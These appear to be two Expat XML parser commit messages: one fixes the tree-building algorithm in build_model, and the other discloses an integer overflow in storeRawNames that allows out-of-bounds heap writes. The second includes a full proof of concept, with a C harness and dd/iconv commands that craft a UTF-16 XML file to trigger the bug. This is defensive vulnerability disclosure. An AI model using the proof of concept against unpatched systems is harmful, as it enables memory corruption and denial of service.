The iterative approach in build_model failed to fill children arrays
correctly. A preorder traversal is not required and turned out to be the
culprit. Use an easier algorithm:
Add nodes from scaffold tree starting at index 0 (root) to the target
array whenever children are encountered. This ensures that children
are adjacent to each other. This complies with the recursive version.
Store only the scaffold index in numchildren field to prevent a direct
processing of these children, which would require a recursive solution.
This allows the algorithm to iterate through the target array from start
to end without jumping back and forth, converting on the fly.
Co-authored-by: Sebastian Pipping <sebastian@pipping.org>
It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.
The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.
Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.
Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.
The proof of concept works by taking these three considerations into
account:
1. Move the m_buffer size slightly below a power of two by having a
short root node <a>. This allows the m_buffer to grow very close
to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
which only contains ASCII characters. UTF-16 always stores two
bytes per character while the tag name is converted to using only
one. Our attack node byte count must be a bit higher than
2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
in sum can overflow INT_MAX.
Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.
Proof of Concept:
1. Compile expat with -fsanitize=address.
2. Create Proof of Concept binary which iterates through input
file 16 MB at once for better performance and easier integer
calculations:
```
cat > poc.c << EOF
#include <err.h>
#include <expat.h>
#include <stdlib.h>
#include <stdio.h>
#define CHUNK (16 * 1024 * 1024)
int main(int argc, char *argv[]) {
XML_Parser parser;
FILE *fp;
char *buf;
int i;
if (argc != 2)
errx(1, "usage: poc file.xml");
if ((parser = XML_ParserCreate(NULL)) == NULL)
errx(1, "failed to create expat parser");
if ((fp = fopen(argv[1], "r")) == NULL) {
XML_ParserFree(parser);
err(1, "failed to open file");
}
if ((buf = malloc(CHUNK)) == NULL) {
fclose(fp);
XML_ParserFree(parser);
err(1, "failed to allocate buffer");
}
i = 0;
while (fread(buf, CHUNK, 1, fp) == 1) {
printf("iteration %d: XML_Parse returns %d\n", ++i,
XML_Parse(parser, buf, CHUNK, XML_FALSE));
}
free(buf);
fclose(fp);
XML_ParserFree(parser);
return 0;
}
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```
3. Construct specially prepared UTF-16 XML file:
```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```
4. Run proof of concept:
```
./poc poc-utf16.xml
```
